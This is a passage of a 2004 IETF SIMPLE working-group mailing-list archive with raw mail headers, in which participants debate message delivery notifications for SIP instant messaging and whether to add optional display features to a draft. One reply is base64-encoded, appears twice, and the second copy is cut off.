Thread-Index: AcP/WS2pe/1bJGJLR7qkQevqyICaeAAAOUZkAF4ajjAABE/I0A==
To: <eburger@snowshore.com>, <cboulton@ubiquity.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 05:54:44.0336 (UTC) FILETIME=[07026F00:01C400E4]
Content-Transfer-Encoding: base64
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 07:54:43 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: base64

SW4gY2FzZSB0aGVyZSBpcyBhIHN0b3JlIGFuZCBmb3J3YXJkIHNlcnZlci4gWW91IHdpbGwgZ2V0
IGEgMjAyLiBPbmNlIHRoZSByZWNpcGllbnQgYWN0dWFsbHkgcmVjZWl2ZXMgdGhlIG1lc3NhZ2Us
IHlvdSB3aWxsIGdldCB0aGUgZmlyc3Qgbm90aWZpY2F0aW9uIGluZGljYXRpbmcgcmVjaXBpZW50
IHJlY2VpdmluZyBtZXNzYWdlLg0KDQpJbiBwZWVyLXRvLXBlZXIgY2FzZSwgeW91IGFyZSByaWdo
dC4NCg0KL0hpc2hhbQ0KDQo+IC0tLS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0tDQo+IEZyb206IHNp
bXBsZS1hZG1pbkBpZXRmLm9yZyBbbWFpbHRvOnNpbXBsZS1hZG1pbkBpZXRmLm9yZ11PbiBCZWhh
bGYgT2YNCj4gZXh0IEVyaWMgQnVyZ2VyDQo+IFNlbnQ6IDAzLk1hcmNoLjIwMDQgMDU6NTQNCj4g
VG86IENocmlzIEJvdWx0b24NCj4gQ2M6IHNpbXBsZUBpZXRmLm9yZw0KPiBTdWJqZWN0OiBSRTog
W1NpbXBsZV0gUkU6IEFkdmFuY2VkIElNIHJlcXVpcmVtZW50cw0KPiANCj4gDQo+IENvbW1vbiBz
Y2VuYXJpbzoNCj4gWW91IHNlbmQgbWUgYW4gSU0uICBNeSBkZXZpY2UgcmVjZWl2ZXMgdGhlIG1l
c3NhZ2UsIGZvcndhcmRzIA0KPiBpdCB0byBtZSwgSSByZWFkIGl0LiAgSXMgbXkgZGV2aWNlIGdv
aW5nIHRvIHNlbmQgeW91IHR3byANCj4gbWVzc2FnZXMsIGEgcHJvdmlzaW9uYWwgTUROIHNheWlu
ZyBJIGdvdCB0aGUgbWVzc2FnZSBhbmQgYSANCj4gZmluYWwgTUROIHNheWluZyBJIHJlYWQgdGhl
IG1lc3NhZ2U/ICBEb2Vzbid0IFNJUCB0ZWxsIHlvdSBpZiANCj4gbXkgZGV2aWNlIGdvdCB0aGUg
bWVzc2FnZT8NCj4gDQo+IA0KPiBMaWtlbHkgU2NlbmFyaW86DQo+IFlvdSBzZW5kIG1lIGFuIElN
LiAgTXkgZGV2aWNlIHJlY2VpdmVzIHRoZSBtZXNzYWdlLCBjcmVhdGVzIGEgDQo+IHByb3Zpc2lv
bmFsIE1ETiwgYmVjYXVzZSBteSBkZXZpY2UgaXMgb25saW5lLiAgVGhlIE1ETiBzYXlzIA0KPiB0
aGUgcmVsYXkgaGFzIHJlY2VpdmVkIHRoZSBtZXNzYWdlLCBidXQgaGFzIG5vdCBkZWxpdmVyZWQg
aXQuDQo+IA0KPiBVbmZvcnR1bmF0ZWx5LCBJJ3ZlIHR1cm5lZCBvZmYgbXkgZGV2aWNlLCBiZWNh
dXNlIEkgYW0gZ29pbmcgDQo+IHRvIEtvcmVhIGZvciBhIHdlZWsuDQo+IA0KPiBBcmUgeW91IHN1
Z2dlc3RpbmcgdGhlIElNIHJlbGF5IHNob3VsZCBvcGVuIGEgc2Vzc2lvbiBtb2RlIA0KPiBjb25u
ZWN0aW9uIGFuZCBsZWF2ZSBpdCB1cCBmb3IgYSB3ZWVrIHVudGlsIEkgZ2V0IGJhY2s/DQo+IA0K
PiANCj4gDQo+IA0KPiA+IC0tLS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0tDQo+ID4gRnJvbTogQ2hy
aXMgQm91bHRvbiBbbWFpbHRvOmNib3VsdG9uQHViaXF1aXR5LmNvbV0NCj4gPiBTZW50OiBNb25k
YXksIE1hcmNoIDAxLCAyMDA0IDI6MDEgQU0NCj4gPiBUbzogUGF1bCBLeXppdmF0OyBFcmljIEJ1
cmdlcg0KPiA+IENjOiBzaW1wbGVAaWV0Zi5vcmcNCj4gPiBTdWJqZWN0OiBSRTogW1NpbXBsZV0g
UkU6IEFkdmFuY2VkIElNIHJlcXVpcmVtZW50cw0KPiA+IA0KPiA+IA0KPiA+ICANCj4gPiANCj4g
PiAJLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0gDQo+ID4gCUZyb206IFBhdWwgS3l6aXZhdCBb
bWFpbHRvOnBreXppdmF0QGNpc2NvLmNvbV0gDQo+ID4gCVNlbnQ6IE1vbiAwMS8wMy8yMDA0IDA2
OjQ0IA0KPiA+IAlUbzogRXJpYyBCdXJnZXIgDQo+ID4gCUNjOiBzaW1wbGVAaWV0Zi5vcmcgDQo+
ID4gCVN1YmplY3Q6IFJlOiBbU2ltcGxlXSBSRTogQWR2YW5jZWQgSU0gcmVxdWlyZW1lbnRzDQo+
ID4gCQ0KPiA+IAkNCj4gPiANCj4gPiANCj4gPiANCj4gPiAJRXJpYyBCdXJnZXIgd3JvdGU6DQo+
ID4gCT4gSSBhZ3JlZS4gIEFnYWluLCB0aGlzIGhpZ2hsaWdodHMgd2h5IElNRE4gaXMgYXQgdGhl
IA0KPiA+IENQSU0sIGFuZCBub3QgU0lQLCBsZXZlbC4NCj4gPiAJPg0KPiA+IAk+IEZ1cnRoZXIs
IHdoYXQgaXMgdGhlIHVzZSBjYXNlIGZvciBNRE4gaW4gc2Vzc2lvbiANCj4gPiBtb2RlPyAgV291
bGQgYW55b25lIEVWRVIgdXNlIGl0PyAgSSBkb3VidCBpdDogaWYgeW91IGFyZSBpbiBhIA0KPiA+
IHNlc3Npb24sIHByZXN1bWFibHkgeW91IGFyZSBpbnRlcmFjdGl2ZSwgd2hpY2ggbWVhbnMgeW91
IGhhdmUgDQo+ID4gT09CIG1ldGhvZHMgZm9yIGtub3dpbmcgdGhlIG1lc3NhZ2Ugd2Fzbid0IHJl
YWQgKGUuZy4sIG5vIA0KPiA+IHJlc3BvbnNlIGZyb20gdGhlIG90aGVyIHBlcnNvbikuDQo+ID4g
CQ0KPiA+IAlJIGFncmVlIGl0IGRvZXNuJ3Qgc2VlbSBsaWtlIHNvbWV0aGluZyB0aGF0IG5vcm1h
bGx5IA0KPiA+IHdvdWxkIGJlIHVzZWQuIEJ1dA0KPiA+IAl0aGVyZSBtYXkgYmUgc29tZSBjYXNl
cy4gSSBtYXkgd2FudCBleHBsaWNpdCBjb25maXJtYXRpb24gdGhhdCBhDQo+ID4gCXBhcnRpY3Vs
YXIgbWVzc2FnZSBoYXMgbm90IG9ubHkgYmVlbiBkZWxpdmVyZWQsIGJ1dCANCj4gPiByZWFkLiAo
VGhpcyBtaWdodA0KPiA+IAlyZXF1aXJlIHRoZSBVQVMgdG8gZGVtYW5kIHNvbWUgZXhwbGljaXQg
Y29uZmlybWF0aW9uIA0KPiA+IGZyb20gdGhlIGVuZCB1c2VyDQo+ID4gCWJlZm9yZSBzZW5kaW5n
IHRoZSBjb25maXJtYXRpb24uKQ0KPiA+IA0KPiA+IAk8PENKQj4+IFRoaXMgaXMgY2VyYXRhaW5s
eSB0aGUgcmVhc29uIEkgYWxsb3dlZCBmb3IgDQo+ID4gbW9yZSB0aGFuIG9uZSByZWNlaXB0IHBl
ciB0cmFuc2FjdGlvbi4gIFRoZSBub3Rpb24gb2YgDQo+ID4gZGVsaWV2ZXJ5ICsgcmVhZCByZWNl
aXB0cyBpcyBzb21ldGhpbmcgdGhhdCBpcyBxdWl0ZSANCj4gPiBiZW5lZmljaWFsICsgY29waWVz
IGN1cnJlbnQgU01TLiANCj4gPiANCj4gPiAJDQo+ID4gCQ0KPiA+IAlBbm90aGVyIGNhc2UgaXMg
d2l0aCBhbiBJTSBjb25mZXJlbmNlLiBJZiBJIHNlbmQgYSANCj4gPiBtZXNzYWdlIHRvIHRoZSBt
aXhlciwNCj4gPiAJcmVxdWVzdGluZyBjb25maXJtYXRpb24sIGlkZWFsbHkgdGhhdCB3b3VsZCBi
ZSBhbiANCj4gPiBlbmQtdG8tYWxsLWVuZHMNCj4gPiAJY29uZmlybWF0aW9uLiBUaGUgbWl4ZXIg
d291bGQgaGF2ZSB0byByZXF1ZXN0IGFuZCANCj4gPiByZWNlaXZlIGNvbmZpcm1hdGlvbg0KPiA+
IAlmcm9tIGFsbCByZWNpcGllbnRzIGJlZm9yZSBjb25maXJtaW5nIHRvIHNlbmRlci4NCj4gPiAJ
DQo+ID4gCT4gR2l2ZW4gdGhhdCBhc3NlcnRpb24sIGNhbiB3ZSBzYXkgSU1ETidzIGFyZSBwYWdl
IG1vZGUgDQo+ID4gbWVzc2FnZXMuDQo+ID4gCQ0KPiA+IAlCYXNlZCBvbiBhYm92ZSwgSSBzYXkg
Tk8uDQo+ID4gDQo+ID4gCTw8Q0pCPj4gU29ycnkgUGF1bCwgSSdtIHdpdGggRXJpYyBhbmQgc3Rp
bGwganVzdCBkb24ndCANCj4gPiBzZWUgd2hlbiB0aGlzIHdvdWxkIGJlIHVzZWQuDQo+ID4gCQ0K
PiA+IAkgICAgICAgIFBhdWwNCj4gPiAJDQo+ID4gCQ0KPiA+IAlfX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fXw0KPiA+IAlTaW1wbGUgbWFpbGluZyBsaXN0DQo+
ID4gCVNpbXBsZUBpZXRmLm9yZw0KPiA+IAlodHRwczovL3d3dzEuaWV0Zi5vcmcvbWFpbG1hbi9s
aXN0aW5mby9zaW1wbGUgDQo+ID4gPGh0dHBzOi8vd3d3MS5pZXRmLm9yZy9tYWlsbWFuL2xpc3Rp
bmZvL3NpbXBsZT4gDQo+ID4gCQ0KPiA+IA0KPiA+IA0KPiA+IA0KPiA+IFRoaXMgbWVzc2FnZSBo
YXMgYmVlbiBzY2FubmVkIGZvciB2aXJ1c2VzIGJ5IE1haWxDb250cm9sIC0gDQo+IHd3dy5tYWls
Y29udHJvbC5jb20NCj4gSinpmopYWChXeghtPww+IDAnfmZmWCnfoyJeDQo+IEp6fg0KPiANCg==

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 01:02:58 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04759
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 01:02:58 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPSf-00047l-4a
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 01:02:29 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2362TWs015847
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 01:02:29 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPSf-00047W-0Q
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 01:02:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04653
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 01:02:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPSc-0003Tf-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 01:02:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPRS-0003EW-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 01:01:15 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPQN-0002y2-00; Wed, 03 Mar 2004 01:00:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPQL-0003Sc-1I; Wed, 03 Mar 2004 01:00:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPPX-0003ME-7k
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 00:59:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04329
	for <simple@ietf.org>; Wed, 3 Mar 2004 00:59:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPPU-0002kD-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:59:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPNs-0002D1-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:57:33 -0500
Received: from jalapeno.cc.columbia.edu ([128.59.59.238] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPL5-0001Zg-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:54:39 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.227.100])
	(user=hgs10 mech=PLAIN bits=0)
	by jalapeno.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i235sblO014482
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 00:54:39 -0500 (EST)
Message-ID: <40457323.1020101@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Brian Stucker <bstucker@nortelnetworks.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <161AA64DA85DFC4BA4D2EB5629B5975304EECECD@zrc2c012.us.nortel.com>
In-Reply-To: <161AA64DA85DFC4BA4D2EB5629B5975304EECECD@zrc2c012.us.nortel.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 00:54:43 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Brian Stucker wrote:

> I'm thinking about the case where you have a limited display 
> form-factor, where you can't easily display both. Is this really adding 
> that much complexity? I'm not suggesting that it MUST or even SHOULD be 
> used, but MAY be used.

I just see no realistic way to add this in most cases. Unless this is 
available in all contexts, the UI has to be able to deal with the case 
where it isn't there.

I'd really like to avoid adding "could be useful" features.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Wed Mar  3 01:03:00 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04777
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 01:02:59 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPSg-000483-IW
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 01:02:30 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2362UNC015865
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 01:02:30 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPSg-00047o-F0
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 01:02:30 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04674
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 01:02:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPSd-0003Tr-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 01:02:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPRU-0003El-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 01:01:17 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPQN-0002y5-00; Wed, 03 Mar 2004 01:00:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPQO-0003TA-B0; Wed, 03 Mar 2004 01:00:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPPb-0003Mz-Fz
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 00:59:19 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04346
	for <simple@ietf.org>; Wed, 3 Mar 2004 00:59:15 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPPY-0002l2-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:59:16 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPO1-0002HY-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:57:43 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPLY-0001gk-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:55:08 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i235t3S28041;
	Wed, 3 Mar 2004 07:55:03 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 07:54:47 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i235slcG008563;
	Wed, 3 Mar 2004 07:54:47 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00Y6o2JD; Wed, 03 Mar 2004 07:54:46 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i235sj707452;
	Wed, 3 Mar 2004 07:54:45 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 07:54:44 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="UTF-8"
Content-Transfer-Encoding: base64
Subject: RE: [Simple] RE: Advanced IM requirements
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB70179781F@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] RE: Advanced IM requirements
Thread-Index: AcP/WS2pe/1bJGJLR7qkQevqyICaeAAAOUZkAF4ajjAABE/I0A==
To: <eburger@snowshore.com>, <cboulton@ubiquity.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 05:54:44.0336 (UTC) FILETIME=[07026F00:01C400E4]
Content-Transfer-Encoding: base64
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 07:54:43 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64

SW4gY2FzZSB0aGVyZSBpcyBhIHN0b3JlIGFuZCBmb3J3YXJkIHNlcnZlci4gWW91IHdpbGwgZ2V0
IGEgMjAyLiBPbmNlIHRoZSByZWNpcGllbnQgYWN0dWFsbHkgcmVjZWl2ZXMgdGhlIG1lc3NhZ2Us
IHlvdSB3aWxsIGdldCB0aGUgZmlyc3Qgbm90aWZpY2F0aW9uIGluZGljYXRpbmcgcmVjaXBpZW50
IHJlY2VpdmluZyBtZXNzYWdlLg0KDQpJbiBwZWVyLXRvLXBlZXIgY2FzZSwgeW91IGFyZSByaWdo
dC4NCg0KL0hpc2hhbQ0KDQo+IC0tLS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0tDQo+IEZyb206IHNp
bXBsZS1hZG1pbkBpZXRmLm9yZyBbbWFpbHRvOnNpbXBsZS1hZG1pbkBpZXRmLm9yZ11PbiBCZWhh
bGYgT2YNCj4gZXh0IEVyaWMgQnVyZ2VyDQo+IFNlbnQ6IDAzLk1hcmNoLjIwMDQgMDU6NTQNCj4g
VG86IENocmlzIEJvdWx0b24NCj4gQ2M6IHNpbXBsZUBpZXRmLm9yZw0KPiBTdWJqZWN0OiBSRTog
W1NpbXBsZV0gUkU6IEFkdmFuY2VkIElNIHJlcXVpcmVtZW50cw0KPiANCj4gDQo+IENvbW1vbiBz
Y2VuYXJpbzoNCj4gWW91IHNlbmQgbWUgYW4gSU0uICBNeSBkZXZpY2UgcmVjZWl2ZXMgdGhlIG1l
c3NhZ2UsIGZvcndhcmRzIA0KPiBpdCB0byBtZSwgSSByZWFkIGl0LiAgSXMgbXkgZGV2aWNlIGdv
aW5nIHRvIHNlbmQgeW91IHR3byANCj4gbWVzc2FnZXMsIGEgcHJvdmlzaW9uYWwgTUROIHNheWlu
ZyBJIGdvdCB0aGUgbWVzc2FnZSBhbmQgYSANCj4gZmluYWwgTUROIHNheWluZyBJIHJlYWQgdGhl
IG1lc3NhZ2U/ICBEb2Vzbid0IFNJUCB0ZWxsIHlvdSBpZiANCj4gbXkgZGV2aWNlIGdvdCB0aGUg
bWVzc2FnZT8NCj4gDQo+IA0KPiBMaWtlbHkgU2NlbmFyaW86DQo+IFlvdSBzZW5kIG1lIGFuIElN
LiAgTXkgZGV2aWNlIHJlY2VpdmVzIHRoZSBtZXNzYWdlLCBjcmVhdGVzIGEgDQo+IHByb3Zpc2lv
bmFsIE1ETiwgYmVjYXVzZSBteSBkZXZpY2UgaXMgb25saW5lLiAgVGhlIE1ETiBzYXlzIA0KPiB0
aGUgcmVsYXkgaGFzIHJlY2VpdmVkIHRoZSBtZXNzYWdlLCBidXQgaGFzIG5vdCBkZWxpdmVyZWQg
aXQuDQo+IA0KPiBVbmZvcnR1bmF0ZWx5LCBJJ3ZlIHR1cm5lZCBvZmYgbXkgZGV2aWNlLCBiZWNh
dXNlIEkgYW0gZ29pbmcgDQo+IHRvIEtvcmVhIGZvciBhIHdlZWsuDQo+IA0KPiBBcmUgeW91IHN1
Z2dlc3RpbmcgdGhlIElNIHJlbGF5IHNob3VsZCBvcGVuIGEgc2Vzc2lvbiBtb2RlIA0KPiBjb25u
ZWN0aW9uIGFuZCBsZWF2ZSBpdCB1cCBmb3IgYSB3ZWVrIHVudGlsIEkgZ2V0IGJhY2s/DQo+IA0K
PiANCj4gDQo+IA0KPiA+IC0tLS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0tDQo+ID4gRnJvbTogQ2hy
aXMgQm91bHRvbiBbbWFpbHRvOmNib3VsdG9uQHViaXF1aXR5LmNvbV0NCj4gPiBTZW50OiBNb25k
YXksIE1hcmNoIDAxLCAyMDA0IDI6MDEgQU0NCj4gPiBUbzogUGF1bCBLeXppdmF0OyBFcmljIEJ1
cmdlcg0KPiA+IENjOiBzaW1wbGVAaWV0Zi5vcmcNCj4gPiBTdWJqZWN0OiBSRTogW1NpbXBsZV0g
UkU6IEFkdmFuY2VkIElNIHJlcXVpcmVtZW50cw0KPiA+IA0KPiA+IA0KPiA+ICANCj4gPiANCj4g
PiAJLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0gDQo+ID4gCUZyb206IFBhdWwgS3l6aXZhdCBb
bWFpbHRvOnBreXppdmF0QGNpc2NvLmNvbV0gDQo+ID4gCVNlbnQ6IE1vbiAwMS8wMy8yMDA0IDA2
OjQ0IA0KPiA+IAlUbzogRXJpYyBCdXJnZXIgDQo+ID4gCUNjOiBzaW1wbGVAaWV0Zi5vcmcgDQo+
ID4gCVN1YmplY3Q6IFJlOiBbU2ltcGxlXSBSRTogQWR2YW5jZWQgSU0gcmVxdWlyZW1lbnRzDQo+
ID4gCQ0KPiA+IAkNCj4gPiANCj4gPiANCj4gPiANCj4gPiAJRXJpYyBCdXJnZXIgd3JvdGU6DQo+
ID4gCT4gSSBhZ3JlZS4gIEFnYWluLCB0aGlzIGhpZ2hsaWdodHMgd2h5IElNRE4gaXMgYXQgdGhl
IA0KPiA+IENQSU0sIGFuZCBub3QgU0lQLCBsZXZlbC4NCj4gPiAJPg0KPiA+IAk+IEZ1cnRoZXIs
IHdoYXQgaXMgdGhlIHVzZSBjYXNlIGZvciBNRE4gaW4gc2Vzc2lvbiANCj4gPiBtb2RlPyAgV291
bGQgYW55b25lIEVWRVIgdXNlIGl0PyAgSSBkb3VidCBpdDogaWYgeW91IGFyZSBpbiBhIA0KPiA+
IHNlc3Npb24sIHByZXN1bWFibHkgeW91IGFyZSBpbnRlcmFjdGl2ZSwgd2hpY2ggbWVhbnMgeW91
IGhhdmUgDQo+ID4gT09CIG1ldGhvZHMgZm9yIGtub3dpbmcgdGhlIG1lc3NhZ2Ugd2Fzbid0IHJl
YWQgKGUuZy4sIG5vIA0KPiA+IHJlc3BvbnNlIGZyb20gdGhlIG90aGVyIHBlcnNvbikuDQo+ID4g
CQ0KPiA+IAlJIGFncmVlIGl0IGRvZXNuJ3Qgc2VlbSBsaWtlIHNvbWV0aGluZyB0aGF0IG5vcm1h
bGx5IA0KPiA+IHdvdWxkIGJlIHVzZWQuIEJ1dA0KPiA+IAl0aGVyZSBtYXkgYmUgc29tZSBjYXNl
cy4gSSBtYXkgd2FudCBleHBsaWNpdCBjb25maXJtYXRpb24gdGhhdCBhDQo+ID4gCXBhcnRpY3Vs
YXIgbWVzc2FnZSBoYXMgbm90IG9ubHkgYmVlbiBkZWxpdmVyZWQsIGJ1dCANCj4gPiByZWFkLiAo
VGhpcyBtaWdodA0KPiA+IAlyZXF1aXJlIHRoZSBVQVMgdG8gZGVtYW5kIHNvbWUgZXhwbGljaXQg
Y29uZmlybWF0aW9uIA0KPiA+IGZyb20gdGhlIGVuZCB1c2VyDQo+ID4gCWJlZm9yZSBzZW5kaW5n
IHRoZSBjb25maXJtYXRpb24uKQ0KPiA+IA0KPiA+IAk8PENKQj4+IFRoaXMgaXMgY2VyYXRhaW5s
eSB0aGUgcmVhc29uIEkgYWxsb3dlZCBmb3IgDQo+ID4gbW9yZSB0aGFuIG9uZSByZWNlaXB0IHBl
ciB0cmFuc2FjdGlvbi4gIFRoZSBub3Rpb24gb2YgDQo+ID4gZGVsaWV2ZXJ5ICsgcmVhZCByZWNl
